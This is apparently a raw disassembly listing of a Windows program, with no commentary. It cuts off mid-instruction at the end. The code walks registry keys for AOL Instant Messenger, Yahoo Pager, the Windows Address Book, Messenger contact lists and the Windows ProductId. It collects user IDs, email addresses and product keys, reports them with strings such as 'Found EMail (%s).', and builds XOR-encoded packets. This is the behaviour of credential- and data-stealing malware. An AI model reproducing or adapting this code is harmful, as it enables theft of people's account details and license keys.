0C75100h, 0 dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D2868h dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h, 94878Ah dd 51500000h, 4D807568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch dd 4EA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h dd 448F30h, 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h dd 424848Dh, 51000001h, 44C75250h, 4424h, 0E8900000h, 249A25Ch dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h dd 0EF4h, 68575052h, 80000003h, 402444C7h, 800h, 0A216E890h dd 0C085024Ah, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h dd 55004446h, 20244489h, 4FDBE890h, 0B9001Ch, 33000002h dd 24BC8DC0h, 6F4h, 0F310C483h, 100B9ABh, 0D8BF0000h, 0F3005103h dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h dd 251A1BCh, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh dd 91E85210h, 90024EA1h, 8D08568Bh, 8D182444h, 6E4248Ch dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h dd 444D28h, 0E8694F8Dh, 0FFFCB62Dh, 938F8Ah, 8A500000h dd 9487h, 68515000h, 4D8075h, 0FCB98EE8h, 1CC483FFh, 1024548Bh dd 29E89052h, 8B024EA1h, 8B24247Ch, 47142444h, 7C89F83Bh dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h dd 10C683FFh, 79DCFE81h, 8C0F0044h, 0FFFFFD2Ah, 17642D8Bh dd 448D0051h, 68501C24h, 20019h, 6868006Ah, 6800447Bh dd 80000002h, 302444C7h, 0 dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h dd 6A525100h, 68006A00h, 448A24h, 85D3FF50h, 0BE850FC0h dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B5C6800h dd 0F08B0044h, 8A146851h, 90560044h, 1C4E64E8h, 4E646800h dd 90560044h, 80907FE8h, 83F88B77h, 0FF851CC4h, 8D577574h dd 802494h, 646A0000h, 6E89052h, 837780ACh, 0C0850CC4h dd 448D5374h, 0FC687C24h, 50004489h, 1C9EE890h, 0C4837781h dd 75C08508h, 24948B3Ch, 16F4h, 7C244C8Dh, 89E06851h, 4A8D0044h dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h, 94h, 93908Ah dd 52510000h, 4D807568h, 0B855E800h, 0C483FFFCh, 0E8905718h dd 7780AAA5h, 8504C483h, 560A74F6h, 6201E890h, 0C483777Fh dd 24448B04h, 0E890501Ch, 24E9FD8h, 1C244C8Dh, 182444C7h dd 80h, 196851h, 6A0002h, 4489B868h, 26800h, 0D5FF8000h dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h, 6A006A50h dd 8A246800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h dd 0E8900000h, 777F638Fh, 0E824948Dh, 68000002h, 4489B0h dd 6852F08Bh, 4489A0h, 56E89056h, 68001C4Dh, 444E64h, 8F72E856h dd 8B907780h, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44898468h dd 91E85100h, 9077811Bh, 8508C483h, 8B3575C0h, 16F4249Ch dd 548D0000h, 68527C24h, 448968h, 0E8694B8Dh, 0FFFCB3EDh dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8075h, 0FCB74EE8h dd 18C483FFh, 0A99FE857h, 83907780h, 0F68504C4h, 90560A74h dd 7F60FAE8h, 4C48377h, 1C24548Bh, 0D1E89052h, 8D024E9Eh dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h dd 184h ; --------------------------------------------------------------------------- loc_436148: ; CODE XREF: ___:00435BD1j lea ecx, [edi+32h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4362CC lea eax, [esp+10h] push eax push 0F003Fh push 0 push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"... push 80000001h nop call near ptr 2950000h test eax, eax jnz loc_4362CC mov ecx, 40h lea edi, [esp+1E4h] rep stosd lea ecx, [esp+14h] lea edx, [esp+1E4h] push ecx mov ecx, [esp+14h] lea eax, [esp+24h] push edx push eax push 0 push offset dword_448900 push ecx mov dword ptr [esp+2Ch], 100h call near ptr 2900000h nop test eax, eax jz short loc_4361D2 mov edx, [esp+10h] push edx nop call near ptr 2920000h jmp loc_4362CC ; --------------------------------------------------------------------------- loc_4361D2: ; CODE XREF: ___:004361C0j mov eax, [esp+14h] mov ecx, [esp+10h] mov ebp, dword_511740 push ecx mov byte ptr [esp+eax+1E8h], 0 call ebp lea edx, [esp+1E4h] lea ebx, [esi+69h] push edx push offset dword_4488F4 mov ecx, ebx call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h lea edx, [esp+10h] push edx push 0F003Fh push 0 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager" push 80000001h nop call near ptr 2950000h test eax, eax jnz loc_4362CC mov ecx, 40h lea edi, [esp+0E0h] rep stosd lea eax, [esp+14h] lea ecx, [esp+0E0h] push eax mov eax, [esp+14h] lea edx, [esp+24h] push ecx push edx push 0 push offset aYahooUserId ; "Yahoo! User ID" push eax mov dword ptr [esp+2Ch], 100h nop call near ptr 2900000h test eax, eax jz short loc_436289 mov ecx, [esp+10h] push ecx call ebp jmp short loc_4362CC ; --------------------------------------------------------------------------- loc_436289: ; CODE XREF: ___:0043627Ej mov edx, [esp+14h] mov eax, [esp+10h] push eax mov byte ptr [esp+edx+1E8h], 0 call ebp lea ecx, [esp+0E0h] push ecx push offset aYahooS ; "yahoo: %s" mov ecx, ebx call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_4362CC: ; CODE XREF: ___:0043615Aj ; ___:0043617Ej ... mov ecx, [esp+16E4h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 16E0h retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4364D0 proc near ; CODE XREF: sub_4016FEj var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4364D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 4Fh push 14h push 5 lea eax, [esp+3Ch+var_24] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_4364D0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_436570: ; CODE XREF: ___:loc_401FF5j sub esp, 6CCh add ecx, 4 push ebx push ebp push esi push edi call sub_4017EE mov ebp, [esp+6E0h] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_43680E lea eax, [esp+14h] mov dword ptr [esp+20h], 320h push eax push 0F003Fh push 0 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h nop call near ptr 2950000h mov eax, [esp+14h] test eax, eax jz loc_43680E lea ecx, [esp+20h] lea edx, [esp+1D8h] push ecx push edx push 0 push 0 push offset byte_448F30 push eax nop call near ptr 2900000h mov eax, [esp+14h] push eax call near ptr 2920000h nop push 0 push 80h push 4 push 0 push 1 lea ecx, [esp+1ECh] push 80000000h push ecx nop call near ptr 2880000h push 0 push 0 push 0 mov edi, eax push 2 push 0 push edi mov [esp+34h], edi nop call near ptr 2740000h mov ebx, eax test ebx, ebx mov [esp+24h], ebx jnz short loc_436649 push edi nop call near ptr 2860000h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_436649: ; CODE XREF: ___:00436631j push 0 push 0 push 0 push 4 push ebx call near ptr 2740730h nop mov esi, eax test esi, esi jnz short loc_436679 mov esi, dword_5118E0 push ebx call esi push edi call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_436679: ; CODE XREF: ___:0043665Cj xor edx, edx xor eax, eax mov dh, [esi+63h] mov ah, [esi+61h] mov dl, [esi+62h] and eax, 0FFFFh movsx ecx, byte ptr [esi+64h] shl edx, 10h or edx, eax xor eax, eax mov al, [esi+60h] or edx, eax mov eax, ecx shl eax, 4 add eax, ecx shl eax, 2 test eax, eax jle short loc_436718 lea ecx, [eax+43h] mov eax, 0F0F0F0F1h lea edi, [edx+esi] mul ecx mov ebx, edx shr ebx, 6 loc_4366BB: ; CODE XREF: ___:0043670Ej xor eax, eax mov ecx, edi loc_4366BF: ; CODE XREF: ___:004366CFj mov dl, [ecx] add ecx, 2 mov [esp+eax+0ACh], dl inc eax cmp eax, 44h jle short loc_4366BF lea eax, [esp+0ACh] lea ecx, [ebp+69h] push eax push offset aFoundEmailS_ ; "Found EMail (%s)." mov byte ptr [esp+0F8h], 0 call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h add edi, 44h dec ebx jnz short loc_4366BB mov ebx, [esp+24h] mov edi, [esp+1Ch] loc_436718: ; CODE XREF: ___:004366A7j push edi mov edi, dword_5118E0 call edi push esi nop call near ptr 27408C6h push ebx call edi lea eax, [esp+18h] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h call near ptr 2950000h nop test eax, eax jnz loc_43680E mov ebx, off_511C00 mov dword ptr [esp+10h], 400h mov dword ptr [esp+28h], 3 xor esi, esi loc_436767: ; CODE XREF: ___:004367FEj mov ecx, 20h xor eax, eax lea edi, [esp+2Ch] push esi rep stosd lea ecx, [esp+30h] push offset dword_448A40 push ecx call ebx ; sub_5FADE9 mov ecx, 100h xor eax, eax lea edi, [esp+2E8h] add esp, 0Ch rep stosd lea edx, [esp+10h] lea eax, [esp+2DCh] push edx lea ecx, [esp+2Ch] push eax mov eax, [esp+20h] push ecx lea edx, [esp+38h] push 0 push edx push eax inc esi mov dword ptr [esp+28h], 400h nop call near ptr 2900000h test eax, eax jnz short loc_436803 lea ecx, [esp+2DCh] push ecx push offset dword_448A34 lea ecx, [ebp+69h] call sub_4014DD mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h push 64h nop call near ptr 28502B8h jmp loc_436767 ; --------------------------------------------------------------------------- loc_436803: ; CODE XREF: ___:004367C3j mov ecx, [esp+18h] push ecx nop call near ptr 2920000h loc_43680E: ; CODE XREF: ___:00436594j ; ___:004365C4j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 0B0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4368D0 proc near ; CODE XREF: sub_401E65j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4368D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 7 push 5 push 12h push 4Fh push 14h push 5 lea eax, [esp+5Ch+var_3C] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_40168B lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_4368D0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Bh push 17h push 4Fh push 14h push 5 lea edx, [esp+34h] push 7 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_40168B add esi, 32h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4369E0 proc near ; CODE XREF: sub_401E6Aj var_135 = byte ptr -135h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = byte ptr -124h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4369E0 push eax mov large fs:0, esp sub esp, 12Ch push ebx push esi mov esi, [esp+140h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436EB7 push ebp xor ebp, ebp push ebp push offset asc_444600 ; " " lea eax, [esp+150h+var_128] push 1 push eax mov ecx, esi mov [esp+158h+var_134], ebp mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], ebp push ecx push 20019h push ebp mov ecx, eax call sub_4017EE mov edi, dword_511764 push eax push 80000001h call edi or ebx, 0FFFFFFFFh lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push ebp push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push ebp push ebp mov ecx, eax mov dword ptr [esp+154h], 1 call sub_4017EE mov ebp, dword_51172C push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436B0C lea ecx, [esp+144h+var_108] push ecx push (offset loc_448B83+1) lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436B0C: ; CODE XREF: sub_4369E0+FCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2920000h push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 2 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000002h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 3 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436BF4 lea ecx, [esp+144h+var_108] push ecx push (offset loc_448B77+1) lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436BF4: ; CODE XREF: sub_4369E0+1E4j mov ecx, [esp+144h+var_130] push ecx call near ptr 2920000h nop push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 4 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000005h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 5 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436CDC lea ecx, [esp+144h+var_108] push ecx push offset loc_448B6C lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436CDC: ; CODE XREF: sub_4369E0+2CCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2920000h push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 6 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000000h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 7 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436DC4 lea ecx, [esp+144h+var_108] push ecx push offset aHkcrS ; "HKCR: %s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436DC4: ; CODE XREF: sub_4369E0+3B4j mov ecx, [esp+144h+var_130] push ecx call near ptr 2920000h nop push 0 push offset asc_444600 ; " " lea edx, [esp+150h+var_128] push 1 push edx mov ecx, esi mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], 8 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000003h call edi lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+150h+var_128] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+148h+var_130] lea edx, [esp+148h+var_10C] push ecx push edx push 0 push 0 mov ecx, eax mov [esp+158h+var_4], 9 call sub_4017EE push eax mov eax, [esp+15Ch+var_134] push eax call ebp test eax, eax lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx setz [esp+148h+var_135] call sub_401226 mov al, [esp+148h+var_135] pop ebp test al, al jz short loc_436EAD lea ecx, [esp+144h+var_10C] push ecx push offset aHkuS ; "HKU: %s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436EAD: ; CODE XREF: sub_4369E0+49Dj mov ecx, [esp+144h+var_134] push ecx jmp loc_436F51 ; --------------------------------------------------------------------------- loc_436EB7: ; CODE XREF: sub_4369E0+3Cj lea ecx, [edi+32h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436F57 lea edx, [esp+144h+var_12C] mov [esp+144h+var_12C], eax push edx push 20019h push eax push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov [esp+158h+var_110], 80h nop call near ptr 2950000h mov edx, [esp+144h+var_12C] lea eax, [esp+144h+var_110] lea ecx, [esp+144h+var_8C] push eax push ecx push 0 push 0 push offset aProductid ; "ProductId" push edx nop call near ptr 2900000h test eax, eax jnz short loc_436F4C lea eax, [esp+144h+var_8C] lea ecx, [esi+69h] push eax push offset aFoundWindowsPr ; "Found Windows Product ID (%s)." call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h loc_436F4C: ; CODE XREF: sub_4369E0+539j mov eax, [esp+144h+var_12C] push eax loc_436F51: ; CODE XREF: sub_4369E0+4D2j nop call near ptr 2920000h loc_436F57: ; CODE XREF: sub_4369E0+4E9j mov ecx, [esp+144h+var_C] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx add esp, 138h retn 4 sub_4369E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 170h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4370F0 proc near ; CODE XREF: sub_401334j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_43710D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_437103: ; CODE XREF: sub_4370F0+1Bj cmp [eax+edx], cl jz short loc_437111 inc eax cmp eax, esi jl short loc_437103 loc_43710D: ; CODE XREF: sub_4370F0+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_437111: ; CODE XREF: sub_4370F0+16j pop esi mov al, 1 retn sub_4370F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_437130: ; CODE XREF: ___:00401433j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h nop call near ptr 71AB2B66h mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, (offset loc_448B8F+1) mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_4371EC push ebx push ebp call eax add esp, 8 loc_4371EC: ; CODE XREF: ___:004371E3j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43722E: ; CODE XREF: ___:004372A7j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4372A9 loc_43726E: ; CODE XREF: ___:0043723Cj ; ___:0043724Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4372A0 loc_437293: ; CODE XREF: ___:0043729Ej mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_437293 loc_4372A0: ; CODE XREF: ___:00437291j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43722E ; --------------------------------------------------------------------------- loc_4372A9: ; CODE XREF: ___:0043726Cj mov eax, [esp+28h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_437390: ; CODE XREF: ___:00401D75j push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_448B8F+1) mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_437442 push ebx push ebp call eax add esp, 8 loc_437442: ; CODE XREF: ___:00437439j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_437484: ; CODE XREF: ___:004374FDj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4374FF loc_4374C4: ; CODE XREF: ___:00437492j ; ___:004374A2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4374F6 loc_4374E9: ; CODE XREF: ___:004374F4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4374E9 loc_4374F6: ; CODE XREF: ___:004374E7j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_437484 ; --------------------------------------------------------------------------- loc_4374FF: ; CODE XREF: ___:004374C2j mov eax, [esp+28h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4375F0: ; CODE XREF: ___:00401FFFj mov eax, 200Ch call sub_437B30 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, 